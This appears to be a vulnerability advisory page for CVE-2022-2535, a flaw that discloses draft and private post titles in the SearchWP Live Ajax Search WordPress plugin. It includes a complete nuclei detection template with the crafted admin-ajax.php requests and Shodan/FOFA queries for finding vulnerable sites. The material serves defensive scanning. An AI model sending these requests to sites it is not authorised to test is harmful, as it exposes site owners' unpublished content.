CVE-2022-2535· searchwp / searchwp live ajax search· CWE-639
SearchWP Live Ajax Search < 1.6.2 - Unauthenticated Arbitrary Post Title Disclosure
mediumseverity
5.3CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it
The plugin does not ensure that users making. alive search are limited to published posts only, allowing unauthenticated users to make a crafted query disclosing private/draft/pending post titles along with their permalink
Impact
Unauthenticated attackers can access titles and permalinks of private, draft, and pending posts through crafted live search queries with manipulated post_status parameters, potentially exposing confidential content before publication.
Fix
Fixed in version 1.6.2
How to confirm it
Send: GET /wp-admin/admin-ajax.php?action=searchwp_live_search&swpquery=a&post_status=publish ; GET /wp-admin/admin-ajax.php?action=searchwp_live_search&swpquery=a&post_status=draft
Positive when: status_code_1 == 200 && status_code_2 == 200 and contains(content_type_1, "text/html") && contains(content_type_2, "text/html") and contains(body_1, "searchwp-live-search-result") && contains(body_2,…Run it with nuclei: nuclei -id CVE-2022-2535 -u <target>
The full check
id: CVE-2022-2535
info:
name: SearchWP Live Ajax Search < 1.6.2 - Unauthenticated Arbitrary Post Title Disclosure
author: r3Y3r53,daffainfo
severity: medium
description: |
The plugin does not ensure that users making. alive search are limited to published posts only, allowing unauthenticated users to make a crafted query disclosing private/draft/pending post titles along with their permalink
impact: |
Unauthenticated attackers can access titles and permalinks of private, draft, and pending posts through crafted live search queries with manipulated post_status parameters, potentially exposing confidential content before publication.
remediation: |
Fixed in version 1.6.2
reference:
- https://wpscan.com/vulnerability/0e13c375-044c-4c2e-ab8e-48cb89d90d02
- https://nvd.nist.gov/vuln/detail/CVE-2022-2535
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2022-2535
cwe-id: CWE-639
epss-score: 0.02075
epss-percentile: 0.81635
cpe: cpe:2.3:a:searchwp:searchwp_live_ajax_search:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: searchwp
product: searchwp_live_ajax_search
framework: wordpress
shodan-query: http.html:/wp-content/plugins/searchwp-live-ajax-search/
fofa-query: body=/wp-content/plugins/searchwp-live-ajax-search/
publicwww-query: "/wp-content/plugins/searchwp-live-ajax-search/"
tags: cve,cve2022,wp,wp-plugin,wordpress,wpscan,searchwp-live-ajax-search,searchwp,vuln
http:
- raw:
- |
GET /wp-admin/admin-ajax.php?action=searchwp_live_search&swpquery=a&post_status=publish HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-admin/admin-ajax.php?action=searchwp_live_search&swpquery=a&post_status=draft HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200 && status_code_2 == 200'
- 'contains(content_type_1, "text/html") && contains(content_type_2, "text/html")'
- 'contains(body_1, "searchwp-live-search-result") && contains(body_2, "searchwp-live-search-result")'
- "len(body_1) != len(body_2)"
condition: andReferences
- https://wpscan.com/vulnerability/0e13c375-044c-4c2e-ab8e-48cb89d90d02
- https://nvd.nist.gov/vuln/detail/CVE-2022-2535
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from